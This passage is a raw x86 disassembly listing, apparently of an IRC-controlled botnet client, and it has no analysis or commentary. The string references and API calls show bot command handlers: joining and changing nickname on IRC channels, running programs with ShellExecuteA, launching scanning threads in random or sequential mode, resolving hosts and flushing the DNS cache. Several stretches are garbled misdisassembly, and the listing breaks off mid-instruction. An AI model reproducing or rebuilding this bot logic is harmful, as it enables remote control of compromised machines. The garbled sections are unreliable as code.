jmp loc_40DFF7 ; --------------------------------------------------------------------------- loc_40CAA0: ; CODE XREF: seg000:0040AE6Bj ; seg000:0040AE82j push dword ptr [ebp+esi-94h] lea eax, [ebp-2E4h] push dword ptr [ebp+20h] push offset dword_42B1D8 push eax call sub_41050B push edi call sub_410A7F add esp, 14h jmp short loc_40CA5D ; --------------------------------------------------------------------------- loc_40CAC6: ; CODE XREF: seg000:0040AE3Dj ; seg000:0040AE54j push dword ptr [ebp+20h] lea eax, [ebp-2E4h] push offset dword_42B1D0 push eax call sub_41050B push edi call sub_410A7F add esp, 10h test eax, eax jle loc_40E148 push edi call sub_410A7F cmp eax, 12Ch pop ecx jge loc_40E148 lea eax, [ebp-2E4h] push eax push offset dword_41EE48 push edi call sub_410A7F imul eax, 234h pop ecx push ds:dword_4358E4[eax] call sub_40E321 push dword ptr [ebp+20h] push edi push offset dword_42B1A0 loc_40CB2A: ; CODE XREF: seg000:0040CBB1j ; seg000:0040CC1Cj ... call sub_407E82 jmp loc_40DCB8 ; --------------------------------------------------------------------------- loc_40CB34: ; CODE XREF: seg000:0040AE0Fj ; seg000:0040AE26j cmp [ebp-0Ch], ebx jz loc_40E148 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_410AE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40CB65 push esi lea eax, [ebp-2E4h] push offset dword_42B198 push eax call sub_41050B add esp, 0Ch loc_40CB65: ; CODE XREF: seg000:0040CB4Ej push edi call sub_410A7F test eax, eax pop ecx jle loc_40E148 push edi call sub_410A7F cmp eax, 12Ch pop ecx jge loc_40E148 lea eax, [ebp-2E4h] push eax push offset dword_41EE48 push edi call sub_410A7F imul eax, 234h pop ecx push ds:dword_4358E4[eax] call sub_40E321 push esi push edi push offset dword_42B168 jmp loc_40CB2A ; --------------------------------------------------------------------------- loc_40CBB6: ; CODE XREF: seg000:0040ADE1j ; seg000:0040ADF8j cmp [ebp-0Ch], ebx jz loc_40E148 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_410AE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40E148 push edi call sub_410A7F test eax, eax pop ecx jle loc_40E148 push edi call sub_410A7F cmp eax, 12Ch pop ecx jge loc_40E148 push esi push offset dword_41EE48 push edi call sub_410A7F imul eax, 234h pop ecx push ds:dword_4358E4[eax] call sub_40E321 push esi push edi push offset dword_42B138 jmp loc_40CB2A ; --------------------------------------------------------------------------- loc_40CC21: ; CODE XREF: seg000:0040ADB3j ; seg000:0040ADCAj cmp [ebp-0Ch], ebx jz loc_40E148 push edi push dword ptr [ebp-0Ch] call sub_410AE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40E148 push esi push offset aModeS ; "MODE %s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 push esi push offset dword_42B0FC jmp loc_40D377 ; --------------------------------------------------------------------------- loc_40CC58: ; CODE XREF: seg000:0040AD85j ; seg000:0040AD9Cj push dword ptr [ebp-9Ch] push offset a332 ; "332" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40980B push dword ptr [ebp+20h] push offset dword_42B0F0 push dword ptr [ebp+0Ch] call sub_40E321 push edi call sub_410A7F imul eax, 3E8h add esp, 10h push eax call ds:dword_41C058 ; Sleep push dword ptr [ebp+esi-94h] push dword ptr [ebp+20h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 push offset dword_42B0C8 call sub_407E0E jmp loc_40D37C ; --------------------------------------------------------------------------- loc_40CCBE: ; CODE XREF: seg000:0040AD57j ; seg000:0040AD6Ej cmp [ebp-0Ch], ebx jz loc_40E148 push edi call sub_410B60 push dword ptr [ebp+18h] mov esi, eax call sub_410B60 add eax, [ebp-0Ch] push dword ptr [ebp+20h] lea eax, [eax+esi+2] push eax call sub_410AE0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40E148 push esi lea eax, [ebp-2E4h] push offset dword_42B8CC push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push ebx push eax push edi push dword ptr [ebp+0Ch] call sub_40E367 push esi push edi push offset dword_42B098 call sub_407E82 add esp, 2Ch jmp loc_40E148 ; --------------------------------------------------------------------------- loc_40CD2C: ; CODE XREF: seg000:0040AD29j ; seg000:0040AD40j cmp [ebp-0Ch], ebx jz loc_40E148 push edi call sub_410B60 push dword ptr [ebp+18h] mov esi, eax call sub_410B60 add eax, [ebp-0Ch] push dword ptr [ebp+20h] lea eax, [eax+esi+2] push eax call sub_410AE0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40E148 push ebx push ebx push esi push edi push dword ptr [ebp+0Ch] call sub_40E367 push esi push edi push offset dword_42B068 call sub_407E82 loc_40CD7A: ; CODE XREF: seg000:0040BA03j add esp, 20h jmp loc_40E148 ; --------------------------------------------------------------------------- loc_40CD82: ; CODE XREF: seg000:0040ACFBj ; seg000:0040AD12j cmp [ebp-0Ch], ebx jz loc_40980B push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_410AE0 pop ecx cmp eax, ebx pop ecx jz loc_40980B push eax push edi call sub_407D16 push edi lea eax, [ebp-2E4h] push offset dword_42B038 push eax call sub_41050B add esp, 14h jmp loc_40B441 ; --------------------------------------------------------------------------- loc_40CDC1: ; CODE XREF: seg000:0040ACBBj ; seg000:0040ACD2j push edi push dword ptr [ebp+24h] call sub_410AE0 pop ecx test eax, eax pop ecx jz loc_40E148 mov esi, [ebp+esi-98h] cmp esi, ebx jz short loc_40CE5E push esi push dword ptr [ebp-0Ch] call sub_410AE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40CE46 push esi lea eax, [ebp-2E4h] push dword ptr [ebp-98h] push dword ptr [ebp-9Ch] push dword ptr [ebp-0A0h] push offset dword_42B290 push eax call sub_41050B lea eax, [ebp-2E4h] push 1FFh push eax push dword ptr [ebp+8] call sub_411D00 push esi push edi lea eax, [ebp-2E4h] push offset dword_42B000 push eax call sub_41050B add esp, 34h inc dword ptr [ebp+2Ch] jmp loc_40DED4 ; --------------------------------------------------------------------------- loc_40CE46: ; CODE XREF: seg000:0040CDEEj lea eax, [ebp-2E4h] push offset dword_42AFBC push eax call sub_41050B pop ecx pop ecx jmp loc_40DED4 ; --------------------------------------------------------------------------- loc_40CE5E: ; CODE XREF: seg000:0040CDDDj push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_407C50 add esp, 0Ch push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 push edi push offset dword_42AF90 lea eax, [ebp-2E4h] push 200h push eax call sub_410A8A add esp, 24h jmp loc_40DED4 ; --------------------------------------------------------------------------- loc_40CEA5: ; CODE XREF: seg000:0040A9F1j ; seg000:0040AA08j push offset aR ; "r" push edi call sub_411B4E mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40CF1F mov ebx, 200h push esi lea eax, [ebp-2E4h] push ebx push eax call sub_41269C add esp, 0Ch loc_40CECE: ; CODE XREF: seg000:0040CEFDj test eax, eax jz short loc_40CEFF push 1 lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 push esi lea eax, [ebp-2E4h] push ebx push eax call sub_41269C add esp, 20h jmp short loc_40CECE ; --------------------------------------------------------------------------- loc_40CEFF: ; CODE XREF: seg000:0040CED0j push esi call sub_4119F0 push edi lea eax, [ebp-2E4h] push offset dword_42AF54 push eax call sub_41050B add esp, 10h jmp loc_40DED4 ; CODE XREF: seg000:0040CF95j ; --------------------------------------------------------------------------- loc_40CF1F: ; CODE XREF: seg000:0040CEB6j push edi push offset dword_42AF20 loc_40CF25: ; CODE XREF: seg000:0040B3C5j ; seg000:0040C510j ... lea eax, [ebp-2E4h] push eax call sub_41050B add esp, 0Ch jmp loc_40D0B5 ; --------------------------------------------------------------------------- loc_40CF39: ; CODE XREF: seg000:0040A9C3j ; seg000:0040A9DAj cmp [ebp-0Ch], ebx jz loc_40E148 push edi push dword ptr [ebp-0Ch] call sub_410AE0 pop ecx cmp eax, ebx pop ecx jz loc_40E148 push eax call sub_406F91 test eax, eax pop ecx jnz short loc_40CF6A push offset unk_42AEF0 jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40CF6A: ; CODE XREF: seg000:0040CF5Ej push offset dword_42AEC0 jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40CF74: ; CODE XREF: seg000:0040A995j ; seg000:0040A9ACj push ebx push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] push edi call sub_404134 push edi push offset dword_42AE98 jmp loc_40CB2A ; --------------------------------------------------------------------------- loc_40CF8F: ; CODE XREF: seg000:0040A967j ; seg000:0040A97Ej push edi call near ptr 3D0000h jb short near ptr loc_40CF1A+2 sal byte ptr [eax+ecx+57h], 68h push 0EB0042AEh or ebp, [eax-8] mov bl, 42h add al, ch and [edi-72AF0001h], bl test ds:68FFFFh[edi*8], ebx add al, [eax] add [eax-18h], dl int 3 ; Trap to Debugger cmp al, [eax] add [ebx-0F16EF3Ch], al clc ; --------------------------------------------------------------------------- db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_40CFC6: ; CODE XREF: seg000:0040A939j ; seg000:0040A950j push edi call sub_410A7F push eax call sub_40F67C pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_40CFE3 push offset dword_42AE30 jmp short loc_40CFE8 ; --------------------------------------------------------------------------- loc_40CFE3: ; CODE XREF: seg000:0040CFDAj push offset dword_42ADE8 loc_40CFE8: ; CODE XREF: seg000:0040CFE1j lea eax, [ebp-2E4h] push eax call sub_41050B add esp, 0Ch cmp [ebp-8], ebx jnz loc_40C680 push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h jmp loc_40C680 ; --------------------------------------------------------------------------- loc_40D021: ; CODE XREF: seg000:0040A90Bj ; seg000:0040A922j push ebx push ebx push edi push dword ptr [ebp-4] push ebx push dword ptr [ebp+0Ch] call loc_40F3ED add esp, 18h cmp eax, 1 push edi jnz short loc_40D043 push offset dword_42ADB0 jmp loc_40C892 ; --------------------------------------------------------------------------- loc_40D043: ; CODE XREF: seg000:0040D037j push offset dword_42AD6C jmp loc_40C892 ; --------------------------------------------------------------------------- loc_40D04D: ; CODE XREF: seg000:0040A8DDj ; seg000:0040A8F4j push edi call ds:dword_4307D0 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz short loc_40D087 push 2 lea eax, [ebp+8] push 4 push eax call ds:dword_430750 ; gethostbyaddr cmp eax, ebx jz short loc_40D0A2 push dword ptr [eax] loc_40D070: ; CODE XREF: seg000:0040D0A0j push edi lea eax, [ebp-2E4h] push offset dword_42AD3C push eax call sub_41050B add esp, 10h jmp short loc_40D0B5 ; --------------------------------------------------------------------------- loc_40D087: ; CODE XREF: seg000:0040D05Aj push edi call ds:dword_430814 ; gethostbyname cmp eax, ebx jz short loc_40D0A2 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call ds:dword_43081C ; inet_ntoa push eax jmp short loc_40D070 ; --------------------------------------------------------------------------- loc_40D0A2: ; CODE XREF: seg000:0040D06Cj ; seg000:0040D090j push offset dword_42AD00 loc_40D0A7: ; CODE XREF: seg000:0040AA3Aj ; seg000:0040AABEj ... lea eax, [ebp-2E4h] push eax call sub_41050B pop ecx pop ecx loc_40D0B5: ; CODE XREF: seg000:0040AA42j ; seg000:0040AA9Cj ... cmp [ebp-8], ebx jnz loc_40DED4 push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h jmp loc_40DED4 ; --------------------------------------------------------------------------- loc_40D0DF: ; CODE XREF: seg000:0040A8AFj ; seg000:0040A8C6j push 7Fh push edi push dword ptr [ebp+1Ch] call sub_411D00 push edi lea eax, [ebp-2E4h] push offset dword_42ACC8 push eax call sub_41050B add esp, 18h jmp loc_40C65C ; --------------------------------------------------------------------------- loc_40D104: ; CODE XREF: seg000:0040A881j ; seg000:loc_40A898j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call ds:dword_430714 ; ShellExecuteA test eax, eax push edi jz short loc_40D124 push offset unk_42AC98 jmp loc_40C892 ; --------------------------------------------------------------------------- loc_40D124: ; CODE XREF: seg000:0040D118j push offset unk_42AC60 jmp loc_40C892 ; --------------------------------------------------------------------------- loc_40D12E: ; CODE XREF: seg000:0040A853j ; seg000:0040A86Aj mov al, [edi] mov ds:byte_42300C, al movsx eax, byte ptr [edi] push eax push offset dword_42AC28 jmp loc_40E0C5 ; --------------------------------------------------------------------------- loc_40D143: ; CODE XREF: seg000:0040A825j ; seg000:0040A83Cj push edi call sub_410A7F test eax, eax pop ecx jle loc_40E148 push edi call sub_410A7F cmp eax, 12Ch pop ecx jge loc_40E148 push ebx push ebx lea eax, [ebp-20h] push 2 push eax call sub_40FA4E push eax lea eax, [ebp-2E4h] push offset dword_42B1D0 push eax call sub_41050B add esp, 1Ch jmp loc_40CA77 ; --------------------------------------------------------------------------- loc_40D18B: ; CODE XREF: seg000:0040A7F7j ; seg000:0040A80Ej push edi call sub_410A7F test eax, eax pop ecx jle loc_40980B push edi call sub_410A7F cmp eax, 12Ch pop ecx jge loc_40980B push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_410A7F imul eax, 234h pop ecx push ds:dword_4358E4[eax] call sub_40E321 pop ecx pop ecx push 1F4h call ds:dword_41C058 ; Sleep push edi call sub_410A7F imul eax, 234h pop ecx push ds:dword_4358E4[eax] call ds:dword_430828 ; closesocket push dword ptr [ebp-10h] push edi call sub_410A7F imul eax, 234h pop ecx push ds:dword_4358EC[eax] call near ptr 3D0000h in al, 57h call sub_410A7F imul eax, 234h push edi mov ds:dword_4358EC[eax], ebx call sub_410A7F imul eax, 234h pop ecx pop ecx mov byte ptr ds:dword_4356D8[eax], bl jmp loc_40980B ; --------------------------------------------------------------------------- loc_40D236: ; CODE XREF: seg000:0040A7C9j ; seg000:0040A7E0j push edi push offset aAll ; "all" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40D265 call sub_410180 cmp eax, ebx jle short loc_40D25B push eax push offset dword_42ABD8 jmp loc_40B432 ; --------------------------------------------------------------------------- loc_40D25B: ; CODE XREF: seg000:0040D24Ej push offset dword_42AB9C jmp loc_40D67E ; --------------------------------------------------------------------------- loc_40D265: ; CODE XREF: seg000:0040D245j mov eax, [ebp-0ACh] lea edi, [eax+1] cmp edi, 20h jnb loc_40980B lea eax, [ebp+edi*4-0A0h] mov [ebp+2Ch], eax loc_40D281: ; CODE XREF: seg000:0040D2F2j mov eax, [ebp+2Ch] mov esi, [eax] cmp esi, ebx jz loc_40980B push esi call sub_410A7F push eax call sub_4100F2 pop ecx pop ecx test eax, eax push esi jz short loc_40D2A8 push offset dword_42AB64 jmp short loc_40D2AD ; --------------------------------------------------------------------------- loc_40D2A8: ; CODE XREF: seg000:0040D29Fj push offset dword_42AB24 loc_40D2AD: ; CODE XREF: seg000:0040D2A6j lea eax, [ebp-2E4h] push eax call sub_41050B add esp, 0Ch cmp [ebp-8], ebx jnz short loc_40D2DD push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h loc_40D2DD: ; CODE XREF: seg000:0040D2BFj lea eax, [ebp-2E4h] push eax call sub_407E0E add dword ptr [ebp+2Ch], 4 inc edi cmp edi, 20h pop ecx jb short loc_40D281 jmp loc_40980B ; --------------------------------------------------------------------------- loc_40D2F9: ; CODE XREF: seg000:0040A79Bj ; seg000:0040A7B2j cmp [ebp-0Ch], ebx jz loc_40E148 push edi push dword ptr [ebp-0Ch] call sub_410AE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40E148 push esi push offset dword_41EE48 push dword ptr [ebp+0Ch] call sub_40E321 push esi push offset dword_42AAF8 jmp short loc_40D377 ; --------------------------------------------------------------------------- loc_40D32D: ; CODE XREF: seg000:0040A76Dj ; seg000:0040A784j push edi push offset dword_42B0F0 push dword ptr [ebp+0Ch] call sub_40E321 push edi push offset dword_42AAC4 jmp short loc_40D377 ; --------------------------------------------------------------------------- loc_40D343: ; CODE XREF: seg000:0040A73Fj ; seg000:0040A756j push dword ptr [ebp+esi-98h] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 push edi push offset dword_42AA90 jmp loc_40CB2A ; --------------------------------------------------------------------------- loc_40D363: ; CODE XREF: seg000:0040A711j ; seg000:0040A728j push edi push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 push edi push offset dword_42AA58 loc_40D377: ; CODE XREF: seg000:0040CC53j ; seg000:0040D32Bj ... call sub_407E82 loc_40D37C: ; CODE XREF: seg000:0040CCB9j add esp, 14h jmp loc_40E148 ; --------------------------------------------------------------------------- loc_40D384: ; CODE XREF: seg000:0040A6D6j ; seg000:0040A6EBj mov al, ds:byte_420082 mov [ebp+8], ebx cmp al, bl mov edx, offset byte_420082 jz loc_40980B mov ecx, edx loc_40D39B: ; CODE XREF: seg000:0040D3A3j inc dword ptr [ebp+8] add ecx, 0Bh cmp [ecx], bl jnz short loc_40D39B cmp al, bl jz loc_40980B mov [ebp+20h], edx loc_40D3B0: ; CODE XREF: seg000:0040D66Ej push 8 call sub_4101FF pop ecx mov ecx, eax mov eax, 190h cdq idiv dword ptr [ebp+8] add eax, ecx cmp eax, 12Ch jle short loc_40D3FF push ecx lea eax, [ebp-2E4h] push offset dword_42B9FC push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 20h jmp loc_40D665 ; --------------------------------------------------------------------------- loc_40D3FF: ; CODE XREF: seg000:0040D3CAj or dword ptr [ebp-300h], 0FFFFFFFFh cmp ds:dword_41FFE8, ebx mov dword ptr [ebp-304h], 64h mov dword ptr [ebp-318h], 5 mov dword ptr [ebp-314h], 1F4h mov [ebp+8], ebx jz short loc_40D470 mov eax, [ebp+20h] mov edi, offset dword_41FFE8 lea esi, [eax-0Ah] loc_40D43A: ; CODE XREF: seg000:0040D452j lea eax, [edi-28h] push esi push eax call sub_410930 pop ecx test eax, eax pop ecx jz short loc_40D456 inc dword ptr [ebp+8] add edi, 3Ch cmp [edi], ebx jnz short loc_40D43A jmp short loc_40D470 ; --------------------------------------------------------------------------- loc_40D456: ; CODE XREF: seg000:0040D448j mov eax, [ebp+8] mov ecx, eax mov [ebp-300h], eax imul ecx, 3Ch mov ecx, ds:dword_41FFE8[ecx] mov [ebp-31Ch], ecx loc_40D470: ; CODE XREF: seg000:0040D42Dj ; seg000:0040D454j cmp [ebp-31Ch], ebx jz loc_40D679 push 10h lea eax, [ebp+18h] pop esi push eax lea eax, [ebp-0D8h] push eax mov [ebp+18h], esi push dword ptr [ebp+0Ch] call ds:dword_43073C ; getsockname mov al, [ebp-9B3h] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-0D4h], eax push dword ptr [ebp-0D4h] call ds:dword_43081C ; inet_ntoa push eax lea eax, [ebp-430h] push eax call sub_411D00 xor eax, eax cmp [ebp-9B3h], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-430h] push eax call sub_412000 add esp, 14h cmp edi, ebx mov [ebp+2Fh], bl jle short loc_40D512 loc_40D4F0: ; CODE XREF: seg000:0040D510j cmp eax, ebx jz short loc_40D512 mov byte ptr [eax], 78h lea eax, [ebp-430h] push 30h push eax call sub_412000 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_40D4F0 loc_40D512: ; CODE XREF: seg000:0040D4EEj ; seg000:0040D4F2j mov eax, [ebp+0Ch] push dword ptr [ebp-98h] mov esi, [ebp-4] mov [ebp-320h], eax mov eax, [ebp-8] mov edi, 80h mov [ebp-2F4h], eax lea eax, [ebp-420h] push edi push eax mov dword ptr [ebp-2F0h], 1 mov [ebp-2F8h], esi call sub_410A8A push offset dword_42F3E8 push offset dword_4230B4 call sub_410930 add esp, 14h test eax, eax jz short loc_40D57C push offset dword_4230B4 lea eax, [ebp-3A0h] push edi push eax call sub_410A8A add esp, 0Ch jmp short loc_40D582 ; --------------------------------------------------------------------------- loc_40D57C: ; CODE XREF: seg000:0040D563j mov [ebp-3A0h], bl loc_40D582: ; CODE XREF: seg000:0040D57Aj cmp [ebp-2F0h], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40D594 mov eax, offset aSequential ; "Sequential" loc_40D594: ; CODE XREF: seg000:0040D58Dj push dword ptr [ebp-304h] lea ecx, [ebp-430h] push dword ptr [ebp-314h] push dword ptr [ebp-318h] push dword ptr [ebp-31Ch] push ecx push eax lea eax, [ebp-2E4h] push offset dword_42A9DC push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push 8 push eax call sub_40FFB7 add esp, 2Ch mov [ebp-310h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-430h] push ebx push eax push 405723h push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-310h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40D61E loc_40D60C: ; CODE XREF: seg000:0040D61Cj cmp [ebp-2ECh], ebx jnz short loc_40D639 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40D60C ; --------------------------------------------------------------------------- loc_40D61E: ; CODE XREF: seg000:0040D60Aj call ds:dword_41C068 ; RtlGetLastWin32Error push eax lea eax, [ebp-2E4h] push offset dword_42B8D8 push eax call sub_41050B add esp, 0Ch loc_40D639: ; CODE XREF: seg000:0040D612j cmp [ebp-8], ebx jnz short loc_40D658 push ebx lea eax, [ebp-2E4h] push esi push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h loc_40D658: ; CODE XREF: seg000:0040D63Cj lea eax, [ebp-2E4h] push eax call sub_407E0E pop ecx loc_40D665: ; CODE XREF: seg000:0040D3FAj add dword ptr [ebp+20h], 0Bh mov eax, [ebp+20h] cmp [eax], bl jnz loc_40D3B0 jmp loc_40980B ; --------------------------------------------------------------------------- loc_40D679: ; CODE XREF: seg000:0040BACAj ; seg000:0040D476j push offset dword_42A990 loc_40D67E: ; CODE XREF: seg000:0040B62Dj ; seg000:0040B75Dj ... lea eax, [ebp-2E4h] push eax call sub_41050B pop ecx pop ecx jmp loc_40B441 ; --------------------------------------------------------------------------- loc_40D691: ; CODE XREF: seg000:0040A6ACj ; seg000:0040A6C1j push 4 call sub_4101FF test eax, eax pop ecx jle short loc_40D6B5 lea eax, [ebp-2E4h] push offset unk_42A95C push eax call sub_41050B pop ecx pop ecx jmp loc_40C65C ; --------------------------------------------------------------------------- loc_40D6B5: ; CODE XREF: seg000:0040D69Bj mov eax, [ebp+esi-9Ch] cmp eax, ebx jz short loc_40D6D8 push eax mov edi, 104h lea eax, [ebp-804h] push edi push eax call sub_410A8A add esp, 0Ch jmp short loc_40D6EC ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: seg000:0040D6BEj mov edi, 104h lea eax, [ebp-804h] push edi push eax push ebx call near ptr 3D0000h push es loc_40D6EC: ; CODE XREF: seg000:0040D6D6j mov esi, [ebp+esi-98h] cmp esi, ebx jnz short loc_40D6FC mov esi, offset byte_423068 loc_40D6FC: ; CODE XREF: seg000:0040D6F5j push esi lea eax, [ebp-700h] push edi push eax call sub_410A8A mov eax, ds:dword_422FF8 push 7Fh push dword ptr [ebp-98h] mov [ebp-5F4h], eax mov eax, [ebp+0Ch] mov [ebp-5F8h], ebx mov [ebp-808h], eax lea eax, [ebp-5F0h] push eax call sub_411D00 mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-700h] push eax lea eax, [ebp-804h] push eax lea eax, [ebp-2E4h] push dword ptr [ebp-5F4h] push offset unk_4202D4 push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push 4 push eax call sub_40FFB7 add esp, 38h mov [ebp-5FCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-808h] push ebx push eax push offset loc_4049C2 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-5FCh] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40D7CC loc_40D7B6: ; CODE XREF: seg000:0040D7CAj cmp [ebp-568h], ebx jnz loc_40C65C push 32h call ds:dword_41C058 ; Sleep jmp short loc_40D7B6 ; --------------------------------------------------------------------------- loc_40D7CC: ; CODE XREF: seg000:0040D7B4j call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_42A910 jmp loc_40E0C5 ; --------------------------------------------------------------------------- loc_40D7DD: ; CODE XREF: seg000:0040A682j ; seg000:0040A697j mov edi, [ebp+esi-9Ch] cmp edi, ebx jz short loc_40D7FC push edi call sub_410A7F test eax, eax pop ecx jz short loc_40D7FC push edi call sub_410A7F pop ecx jmp short loc_40D801 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: seg000:0040D7E6j ; seg000:0040D7F1j mov eax, ds:dword_422FFC loc_40D801: ; CODE XREF: seg000:0040D7FAj mov esi, [ebp+esi-98h] mov [ebp-584h], eax xor eax, eax cmp [ebp-9B0h], bl setz al cmp esi, ebx mov [ebp-570h], eax jz short loc_40D834 lea eax, [ebp-688h] push esi push eax call sub_41050B pop ecx pop ecx jmp short loc_40D85F ; --------------------------------------------------------------------------- loc_40D834: ; CODE XREF: seg000:0040D821j lea eax, [ebp-3E8h] push 104h push eax call near ptr 3D0000h and edx, [ebx+53h] lea eax, [ebp-0D4h] push ebx push eax lea eax, [ebp-3E8h] push eax call sub_4121E8 add esp, 14h loc_40D85F: ; CODE XREF: seg000:0040D832j lea eax, [ebp-688h] push eax call sub_410B60 cmp byte ptr [ebp+eax-689h], 5Ch pop ecx jnz short loc_40D88A lea eax, [ebp-688h] push eax call sub_410B60 pop ecx mov [ebp+eax-689h], bl loc_40D88A: ; CODE XREF: seg000:0040D874j push dword ptr [ebp-98h] mov esi, [ebp+0Ch] lea eax, [ebp-910h] mov [ebp-914h], esi push 80h push eax call sub_410A8A mov eax, [ebp-8] mov edi, [ebp-4] add esp, 0Ch mov [ebp-574h], eax lea eax, [ebp-688h] mov [ebp-578h], edi push eax push dword ptr [ebp-584h] push esi call sub_407435 pop ecx push eax lea eax, [ebp-2E4h] push offset unk_4201A4 push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push 3 push eax call sub_40FFB7 add esp, 20h mov [ebp-57Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-914h] push ebx push eax push offset sub_4038A7 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-57Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40D93E loc_40D92C: ; CODE XREF: seg000:0040D93Cj cmp [ebp-568h], ebx jnz short loc_40D959 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40D92C ; --------------------------------------------------------------------------- loc_40D93E: ; CODE XREF: seg000:0040D92Aj call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_42A8C4 loc_40D94A: ; CODE XREF: seg000:0040BFE7j ; seg000:0040C0E1j lea eax, [ebp-2E4h] push eax call sub_41050B add esp, 0Ch loc_40D959: ; CODE XREF: seg000:0040BFCBj ; seg000:0040C0C5j ... cmp [ebp-8], ebx jnz loc_40B462 push ebx push edi loc_40D964: ; CODE XREF: seg000:0040B890j lea eax, [ebp-2E4h] push eax push dword ptr [ebp-98h] push esi jmp loc_40B45A ; --------------------------------------------------------------------------- loc_40D977: ; CODE XREF: seg000:0040A658j ; seg000:0040A66Dj mov esi, [ebp+esi-9Ch] cmp esi, ebx jz short loc_40D98A push esi call sub_410A7F jmp short loc_40D991 ; --------------------------------------------------------------------------- loc_40D98A: ; CODE XREF: seg000:0040D980j push 8 call sub_41021E loc_40D991: ; CODE XREF: seg000:0040D988j cmp eax, ebx pop ecx jz loc_40E148 push eax push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_404F83 jmp loc_40DDE7 ; --------------------------------------------------------------------------- loc_40D9B1: ; CODE XREF: seg000:0040A62Ej ; seg000:0040A643j mov eax, ds:dword_4306CC cmp eax, ebx jz short loc_40D9CE call eax ; DnsFlushResolverCache test eax, eax jz short loc_40D9C7 push offset unk_42A88C jmp short loc_40D9EA ; --------------------------------------------------------------------------- loc_40D9C7: ; CODE XREF: seg000:0040D9BEj push offset unk_42A84C jmp short loc_40D9EA ; --------------------------------------------------------------------------- loc_40D9CE: ; CODE XREF: seg000:0040D9B8j push offset unk_42A80C jmp short loc_40D9EA ; --------------------------------------------------------------------------- loc_40D9D5: ; CODE XREF: seg000:0040A604j ; seg000:0040A619j call sub_407357 test eax, eax jz short loc_40D9E5 push offset unk_42A7D4 jmp short loc_40D9EA ; --------------------------------------------------------------------------- loc_40D9E5: ; CODE XREF: seg000:0040D9DCj push offset unk_42A794 loc_40D9EA: ; CODE XREF: seg000:0040D9C5j ; seg000:0040D9CCj ... lea eax, [ebp-2E4h] push 200h push eax call sub_410A8A jmp loc_40C89E ; --------------------------------------------------------------------------- loc_40DA00: ; CODE XREF: seg000:0040A5DAj ; seg000:0040A5EFj cmp [ebp-8], ebx jnz short loc_40DA1F push ebx push dword ptr [ebp-4] push offset 